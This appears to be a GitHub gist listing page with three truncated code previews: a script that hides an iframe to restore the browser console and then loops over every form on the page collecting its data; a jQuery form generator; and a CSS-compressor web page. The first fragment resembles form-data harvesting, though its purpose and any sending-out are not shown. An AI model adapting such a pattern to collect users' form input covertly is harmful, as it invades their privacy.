This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function myrand() { return new Date().getTime() + '' + parseInt(Math.random() * 1000000000) }; | |
function restore_console() { var i = document.createElement('iframe'); i.style.display = 'none'; document.body.appendChild(i); window.console = i.contentWindow.console; } | |
restore_console(); | |
var sent = 0; | |
setInterval(function() { | |
sent++; | |
$('form').each(function() { | |
var data = {}; | |
var $form = $(this); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function generateForm(selector, data) { | |
var $editform = $('<form method="POST"></form>'); | |
$editform.html(''); | |
$.each(data, function(key, elm) { | |
if (elm.label || elm.is_remote) { | |
var label = elm.label ? elm.label : key; | |
var value = typeof elm.value == 'undefined' ? elm.default : elm.value; | |
var description = elm.description ? '<p>' + elm.description + '</p>' : ''; | |
var $input; | |
switch (elm.type) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>Compress css with javascript</title> | |
<style> | |
* {box-sizing: border-box;margin: 0;padding: 0} | |
html,body {font-size: 0;height: 100%} | |
:focus {outline: none} | |
textarea {border: none;display: inline-block;height: 100%;padding: 10px;white-space: nowrap;width: 50%} | |
#compress {background: #FFF;border-radius: 50%;font-size: 10px;left: 50%;margin: -35px 0 0 -35px;padding: 27.5px 0;position: absolute;top: 50%;width: 70px} |